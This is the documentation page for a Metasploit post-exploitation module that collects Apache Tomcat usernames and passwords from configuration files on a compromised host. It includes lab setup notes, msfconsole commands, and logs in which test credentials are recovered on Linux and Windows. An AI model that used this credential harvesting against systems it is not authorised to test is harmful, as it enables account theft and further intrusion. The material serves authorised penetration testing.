metasploit-framework/documentation/modules/post/multi/gather/tomcat_gather.md

Creating A Testing Environment

For this module to work you need a linux or windows machine.

• For linux you can run something like apt-get install tomcat7 to get a working tomcat service.
• For WIndows you can download tomcat from http://tomcat.apache.org/ and then install it as a service.

This module has been tested against:

1. Xubuntu and Ubuntu Server 16.04 with tomcat 7, 8.
2. Windows 10 with tomcat 6, 7.
3. Windows XP with tomcat 5.5, 6, 7, 8

This module was not tested against, but may work against:

1. Other versions of linux running tomcat v4-9
2. Other version of windows running tomcat v4-9

Verification Steps

1. Start msfconsole
2. Obatin a meterpreter session via whatever method
3. Do: use post/multi/gather/tomcat_gather
4. Do: set session #
5. Do: run

Scenarios

Xubuntu 16.04 with tomcat 7 and 8

Running without read permissions

msf post(tomcat_gather) > set session 1
session => 1
msf post(tomcat_gather) > run

[*] [2017.03.31-10:19:27] Unix OS detected
[*] [2017.03.31-10:19:28] /etc/tomcat7/tomcat-users.xml found
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/tomcat-users.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
[*] [2017.03.31-10:19:28] /etc/tomcat8/tomcat-users.xml found
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/tomcat-users.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/tomcat-users.xml you probably don't have permission to open the file or parsing failed.
[*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat7/server.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat7/server.xml you probably don't have permission to open the file or parsing failed
[*] [2017.03.31-10:19:28] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
[-] [2017.03.31-10:19:28] Failed to open file: /etc/tomcat8/server.xml: core_channel_open: Operation failed: 1
[*] [2017.03.31-10:19:28] Cannot open /etc/tomcat8/server.xml you probably don't have permission to open the file or parsing failed
[*] [2017.03.31-10:19:28] No user credentials have been found
[*] Post module execution completed

Running with read permissions

msf post(tomcat_gather) > set session 2
session => 2
msf post(tomcat_gather) > run

[*] [2017.03.31-10:33:14] Unix OS detected
[*] [2017.03.31-10:33:15] /etc/tomcat7/tomcat-users.xml found
[*] [2017.03.31-10:33:15] /etc/tomcat8/tomcat-users.xml found
[*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat7/server.xml
[*] [2017.03.31-10:33:15] Attempting to extract Tomcat listening ports from /etc/tomcat8/server.xml
[+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat7/tomcat-users.xml - tomcat2:s3cret
[+] [2017.03.31-10:33:16] Username and password found in /etc/tomcat8/tomcat-users.xml - tomcat2:s3cret
[*] Post module execution completed
    
msf post(tomcat_gather) > creds
Credentials
===========

host        origin      service            public   private  realm  private_type
----        ------      -------            ------   -------  -----  ------------
10.10.10.6  10.10.10.6  8080/tcp (Tomcat)  tomcat2  s3cret          Password

Windows 10 with tomcat 7

Running with read permissions

msf post(tomcat_gather) > run

[*] [2017.03.31-10:43:18] Windows OS detected, enumerating services
[+] [2017.03.31-10:43:18] Tomcat service found
[*] [2017.03.31-10:43:18] C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml found!
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - tomcat:tomcat
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - both:<must-be-changed>
[+] [2017.03.31-10:43:19] Username and password found in C:\Users\XXX\Desktop\apache-tomcat-7.0.75\conf\tomcat-users.xml - role1:<must-be-changed>
[*] Post module execution completed

msf post(tomcat_gather) > creds
Credentials
===========

host        origin      service            public   private            realm  private_type
----        ------      -------            ------   -------            -----  ------------
10.10.10.6  10.10.10.6  8080/tcp (Tomcat)  tomcat2  s3cret                    Password
10.10.10.7  10.10.10.7  8080/tcp (Tomcat)  tomcat   tomcat                    Password
10.10.10.7  10.10.10.7  8080/tcp (Tomcat)  both     <must-be-changed>         Password
10.10.10.7  10.10.10.7  8080/tcp (Tomcat)  role1    <must-be-changed>         Password